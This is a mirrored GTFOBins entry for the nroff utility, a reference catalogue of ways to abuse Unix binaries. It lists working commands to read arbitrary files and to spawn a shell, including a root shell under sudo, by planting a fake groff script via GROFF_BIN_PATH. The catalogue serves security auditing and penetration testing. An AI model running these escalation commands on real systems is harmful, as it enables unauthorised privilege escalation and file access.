1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/nroff.md
2020-12-20 20:54:05 +01:00

23 lines
535 B
Markdown

---
functions:
file-read:
- description: The file is typeset and some warning messages may appear.
code: |
LFILE=file_to_read
nroff $LFILE
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
GROFF_BIN_PATH=$TF nroff
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
sudo GROFF_BIN_PATH=$TF nroff
---